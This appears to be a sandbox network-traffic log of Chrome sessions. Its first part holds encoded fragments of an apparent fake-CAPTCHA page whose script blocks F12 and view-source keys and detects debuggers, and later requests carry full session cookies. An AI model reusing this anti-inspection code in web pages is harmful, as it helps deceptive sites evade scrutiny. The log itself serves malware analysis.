2024-12-16 17:46:11 UTC	1369	IN	Data Raw: 63 6a 73 4e 43 69 41 67 49 43 42 68 62 47 6c 6e 62 69 31 70 64 47 56 74 63 7a 6f 67 59 32 56 75 64 47 56 79 4f 77 30 4b 49 43 41 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 41 77 4a 54 73 4e 43 69 41 67 49 43 42 6a 62 32 78 76 63 6a 6f 67 64 32 68 70 64 47 55 37 44 51 6f 67 49 43 41 67 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 69 41 79 4e 48 42 34 4f 77 30 4b 49 43 41 67 49 48 52 6c 65 48 51 74 59 57 78 70 5a 32 34 36 49 47 4e 6c 62 6e 52 6c 63 6a 73 4e 43 6e 30 4e 43 69 35 6a 59 58 42 30 59 32 68 68 4c 57 4a 76 65 43 42 37 44 51 6f 67 49 43 41 67 5a 47 6c 7a 63 47 78 68 65 54 6f 67 5a 6d 78 6c 65 44 73 4e 43 69 41 67 49 43 42 69 59 57 4e 72 5a 33 4a 76 64 57 35 6b 4f 69 41 6a 4d 44 41 77 4d 44 41 77 4f 47 45 37 44 51 6f 67 49 43 41 67 5a 6d 78 6c 65 43 31 Data Ascii: cjsNCiAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgIGhlaWdodDogMTAwJTsNCiAgICBjb2xvcjogd2hpdGU7DQogICAgZm9udC1zaXplOiAyNHB4Ow0KICAgIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5jYXB0Y2hhLWJveCB7DQogICAgZGlzcGxheTogZmxleDsNCiAgICBiYWNrZ3JvdW5kOiAjMDAwMDAwOGE7DQogICAgZmxleC1
2024-12-16 17:46:11 UTC	1369	IN	Data Raw: 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 68 6c 59 32 74 74 59 58 4a 72 4f 6a 70 68 5a 6e 52 6c 63 69 42 37 44 51 6f 67 49 43 41 67 59 32 39 75 64 47 56 75 64 44 6f 67 49 69 49 37 44 51 6f 67 49 43 41 67 63 47 39 7a 61 58 52 70 62 32 34 36 49 47 46 69 63 32 39 73 64 58 52 6c 4f 77 30 4b 49 43 41 67 49 47 78 6c 5a 6e 51 36 49 44 56 77 65 44 73 4e 43 69 41 67 49 43 42 30 62 33 41 36 49 44 46 77 65 44 73 4e 43 69 41 67 49 43 42 33 61 57 52 30 61 44 6f 67 4e 6e 42 34 4f 77 30 4b 49 43 41 67 49 47 68 6c 61 57 64 6f 64 44 6f 67 4d 54 4a 77 65 44 73 4e 43 69 41 67 49 43 42 69 62 33 4a 6b 5a 58 49 36 49 48 4e 76 62 47 6c 6b 49 43 4d 30 59 32 46 6d 4e 54 41 37 44 51 6f 67 49 43 41 67 59 6d 39 79 5a 47 56 79 4c 58 64 70 5a 48 52 6f 4f 69 41 77 49 44 4e 77 65 43 41 7a Data Ascii: mNhcHRjaGEtY2hlY2ttYXJrOjphZnRlciB7DQogICAgY29udGVudDogIiI7DQogICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgIGxlZnQ6IDVweDsNCiAgICB0b3A6IDFweDsNCiAgICB3aWR0aDogNnB4Ow0KICAgIGhlaWdodDogMTJweDsNCiAgICBib3JkZXI6IHNvbGlkICM0Y2FmNTA7DQogICAgYm9yZGVyLXdpZHRoOiAwIDNweCAz
2024-12-16 17:46:11 UTC	1369	IN	Data Raw: 6f 67 49 43 41 67 64 32 6c 6b 64 47 67 36 49 44 45 77 4d 43 55 37 44 51 6f 67 49 43 41 67 62 57 46 79 5a 32 6c 75 4c 58 52 76 63 44 6f 67 4d 54 42 77 65 44 73 4e 43 6e 30 4e 43 67 30 4b 4c 6d 4e 68 63 48 52 6a 61 47 45 74 59 32 39 75 64 47 56 75 64 43 42 70 62 57 63 67 65 77 30 4b 49 43 41 67 49 48 64 70 5a 48 52 6f 4f 69 41 78 4d 44 41 6c 4f 77 30 4b 49 43 41 67 49 47 31 68 63 6d 64 70 62 69 31 69 62 33 52 30 62 32 30 36 49 44 45 77 63 48 67 37 44 51 70 39 44 51 6f 4e 43 69 35 6a 59 58 42 30 59 32 68 68 4c 57 4e 76 62 6e 52 6c 62 6e 51 67 61 57 35 77 64 58 51 67 65 77 30 4b 49 43 41 67 49 48 64 70 5a 48 52 6f 4f 69 42 6a 59 57 78 6a 4b 44 45 77 4d 43 55 67 4c 53 41 79 4d 48 42 34 4b 54 73 4e 43 69 41 67 49 43 42 77 59 57 52 6b 61 57 35 6e 4f 69 41 31 63 Data Ascii: ogICAgd2lkdGg6IDEwMCU7DQogICAgbWFyZ2luLXRvcDogMTBweDsNCn0NCg0KLmNhcHRjaGEtY29udGVudCBpbWcgew0KICAgIHdpZHRoOiAxMDAlOw0KICAgIG1hcmdpbi1ib3R0b206IDEwcHg7DQp9DQoNCi5jYXB0Y2hhLWNvbnRlbnQgaW5wdXQgew0KICAgIHdpZHRoOiBjYWxjKDEwMCUgLSAyMHB4KTsNCiAgICBwYWRkaW5nOiA1c
2024-12-16 17:46:11 UTC	1369	IN	Data Raw: 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 7a 5a 54 73 4e 43 69 41 67 49 43 42 39 44 51 6f 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 68 6c 64 6d 56 75 64 43 35 6a 64 48 4a 73 53 32 56 35 49 43 59 6d 49 47 56 32 5a 57 35 30 4c 6d 74 6c 65 55 4e 76 5a 47 55 67 50 54 30 39 49 44 67 31 4b 53 42 38 66 41 30 4b 49 43 Data Ascii: rZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICBpZiAoDQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDg1KSB8fA0KIC
2024-12-16 17:46:11 UTC	1369	IN	Data Raw: 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 48 4a 32 57 48 42 4a 54 6e 68 47 5a 45 77 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 5a 47 56 69 64 57 64 6e 5a 58 49 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 46 70 61 52 33 4a 47 55 6d 46 33 57 55 6f 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 61 57 59 67 4b 46 70 61 52 33 4a 47 55 6d 46 33 57 55 6f 67 4c 53 42 79 64 6c 68 77 53 55 35 34 52 6d 52 4d 49 44 34 67 61 6b 31 71 61 57 78 30 64 58 52 34 59 69 41 6d 4a 69 41 68 53 47 4e 34 51 31 56 45 56 45 5a 6c 65 69 6b 67 65 77 30 4b 49 43 41 67 49 43 41 Data Ascii: KSB7DQogICAgICAgIGNvbnN0IHJ2WHBJTnhGZEwgPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgZGVidWdnZXI7DQogICAgICAgIGNvbnN0IFpaR3JGUmF3WUogPSBwZXJmb3JtYW5jZS5ub3coKTsNCiAgICAgICAgaWYgKFpaR3JGUmF3WUogLSBydlhwSU54RmRMID4gak1qaWx0dXR4YiAmJiAhSGN4Q1VEVEZleikgew0KICAgICA
2024-12-16 17:46:11 UTC	1369	IN	Data Raw: 31 56 6f 52 56 56 6e 51 55 46 42 57 55 46 42 51 55 46 48 51 55 4e 42 54 55 46 42 51 55 4e 55 52 31 56 58 54 6b 46 42 51 55 46 4a 52 30 35 4a 56 57 73 77 51 55 46 49 62 32 31 42 51 55 4e 42 61 45 46 42 51 53 74 6e 51 55 46 42 53 55 52 76 51 55 46 43 4d 55 31 42 51 55 45 32 62 55 46 42 51 55 52 78 57 55 46 42 51 56 68 6a 53 6e 6b 32 56 56 52 33 51 55 46 42 52 6e 68 56 52 58 68 56 55 6c 46 42 51 55 46 4d 4f 47 64 4a 55 43 73 76 51 55 31 4e 61 30 68 4e 56 57 6c 49 63 31 56 71 53 55 31 56 61 55 67 34 56 57 6c 49 4f 46 56 71 53 44 68 5a 61 6b 67 34 54 57 6c 49 64 6e 6b 34 51 53 39 78 4f 45 46 32 65 54 68 43 5a 6e 55 34 51 6c 42 78 4f 55 45 76 64 54 68 43 55 48 55 33 51 6b 31 52 61 55 67 34 55 57 78 48 4c 33 55 35 51 6c 42 35 4f 45 45 76 4b 79 39 42 54 57 4e 71 Data Ascii: 1VoRVVnQUFBWUFBQUFHQUNBTUFBQUNUR1VXTkFBQUFJR05JVWswQUFIb21BQUNBaEFBQStnQUFBSURvQUFCMU1BQUE2bUFBQURxWUFBQVhjSnk2VVR3QUFBRnhVRXhVUlFBQUFMOGdJUCsvQU1Na0hNVWlIc1VqSU1VaUg4VWlIOFVqSDhZakg4TWlIdnk4QS9xOEF2eThCZnU4QlBxOUEvdThCUHU3Qk1RaUg4UWxHL3U5QlB5OEEvKy9BTWNq
2024-12-16 17:46:11 UTC	1369	IN	Data Raw: 5a 79 63 6e 5a 32 64 6a 63 79 4e 7a 68 34 59 79 38 31 55 44 49 33 4f 54 6b 32 56 6e 46 33 5a 55 68 61 4d 32 4a 33 4e 46 46 6b 4d 46 67 31 62 47 59 76 4d 32 4a 51 65 6d 34 76 61 32 31 32 59 30 34 76 54 46 6f 76 63 57 56 51 4e 6d 31 33 57 6a 5a 36 4b 33 63 35 5a 56 41 76 64 47 64 57 4d 7a 52 68 53 30 31 4b 4f 58 45 35 4b 7a 64 49 51 6d 63 78 4e 69 39 78 5a 6b 46 33 51 7a 55 78 4f 47 31 6c 54 6b 51 33 52 6d 63 30 54 47 35 49 4b 31 5a 52 54 30 64 6b 59 33 67 34 55 47 35 59 4b 31 6f 30 51 6c 42 6c 4f 58 68 6f 4e 31 5a 36 4e 46 70 50 64 6a 68 35 64 32 46 6c 52 58 6f 72 64 7a 6c 47 53 46 41 72 65 46 49 31 63 54 5a 72 5a 57 6b 76 57 57 52 71 65 6e 49 76 57 58 63 32 53 32 5a 55 59 54 6c 47 4c 32 5a 47 5a 6d 5a 33 5a 32 45 72 61 57 49 30 5a 45 35 52 5a 69 38 76 56 Data Ascii: ZycnZ2djcyNzh4Yy81UDI3OTk2VnF3ZUhaM2J3NFFkMFg1bGYvM2JQem4va212Y04vTFovcWVQNm13WjZ6K3c5ZVAvdGdWMzRhS01KOXE5KzdIQmcxNi9xZkF3QzUxOG1lTkQ3Rmc0TG5IK1ZRT0dkY3g4UG5YK1o0QlBlOXhoN1Z6NFpPdjh5d2FlRXordzlGSFAreFI1cTZrZWkvWWRqenIvWXc2S2ZUYTlGL2ZGZmZ3Z2EraWI0ZE5RZi8vV
2024-12-16 17:46:11 UTC	1369	IN	Data Raw: 76 4e 47 6c 36 4d 79 73 72 65 6a 68 4c 51 32 46 45 52 6c 56 45 4e 43 38 32 5a 30 67 72 4b 32 45 34 4e 7a 52 52 52 45 67 76 4c 7a 56 51 53 31 46 47 56 55 64 43 54 48 64 76 65 44 4e 6e 64 69 38 72 4e 30 56 34 55 47 63 72 52 6d 6c 55 53 57 52 49 64 6c 68 76 52 57 68 44 56 43 73 32 51 57 51 31 4f 54 63 34 4e 6d 52 35 51 55 4e 68 52 45 31 73 4b 79 73 78 53 30 64 61 55 48 6c 76 51 6e 42 71 65 6b 56 34 4f 55 46 72 55 30 68 77 51 56 56 52 54 55 4e 6d 62 6c 4a 45 54 45 52 6e 53 6e 6c 48 51 55 68 72 55 47 6c 44 64 32 64 5a 61 33 5a 4c 61 6b 59 79 52 45 5a 55 4d 55 6c 42 54 46 6c 69 61 30 6f 34 61 47 78 54 54 54 5a 51 56 32 39 42 4d 56 41 79 61 30 4a 73 51 6d 70 54 54 30 56 4a 56 31 46 33 63 6a 68 68 51 56 68 5a 4f 45 70 4e 57 56 46 4a 59 32 68 73 55 33 52 72 54 55 Data Ascii: vNGl6MysrejhLQ2FERlVENC82Z0grK2E4NzRRREgvLzVQS1FGVUdCTHdveDNndi8rN0V4UGcrRmlUSWRIdlhvRWhDVCs2QWQ1OTc4NmR5QUNhRE1sKysxS0daUHlvQnBqekV4OUFrU0hwQVVRTUNmblJETERnSnlHQUhrUGlDd2dZa3ZLakYyREZUMUlBTFlia0o4aGxTTTZQV29BMVAya0JsQmpTT0VJV1F3cjhhQVhZOEpNWVFJY2hsU3RrTU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.17	49911	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:11 UTC	849	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:11 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:11 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 3 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 3ebaf6aa-8d0e-4ef4-a735-471b95d66bda x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-b9zv5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 3ebaf6aa-8d0e-4ef4-a735-471b95d66bda CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307dcf0f82de97-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:11 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.17	49912	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:12 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=HrYtdrM0ocqVOpFv6rS-xUWxklvWqyFMrnlWJ_IEN3XshI21pInUPRNGVfQjPDWDyGcm2gcnO5TbO7S9fFOW5s3y2A2oCjVQ_xaKqaUh36NiapAmgDZEDPNNTjm7rBTCsi2sIb8YMDp28Zox86S8eCnZNnQ6N839sY5nFdI4dI7HVzpNO0ltQEHY386SU8A
2024-12-16 17:46:13 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:12 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:13 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:13 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.17	49915	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:12 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=fgjIb4R2fa8kDJ6l_zC3D2Ecv8Bd7bxiygQlvbWodgQ5U6Gwww9rLhn-RcnMcscIkmhLIjW_43yd1m80FtmJxgOcobTIBE9c43Hkv7UCo6XqKFA7vBEVDUVaOY19qD9GTouWe2Vi2vmE-T6OTKV5RwuAUo8sgU0peT8vBWy48Y1Ft6OcmruzzdO6RtHJurg
2024-12-16 17:46:13 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:13 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:13 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:13 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.17	49922	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:15 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=koI35mH7rGxoL09vqEvlgaX1f7nPlsd6dwCLR36jzkQm_Ur3bUOOkuDmVbhZM8IDb--zN5JwZ7Ez4UVXRoFLzYjQ5NrYYFHMeVq0J24WzPftQMWzlAcOfxMXhlmANlWbimHq1RdfScN5opLnzeyi9QSVYGvww4LywJKn4M5C2zn2hMYtHedvedMpROVEqVs
2024-12-16 17:46:16 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:15 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:16 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:16 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.17	49925	104.18.161.117	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

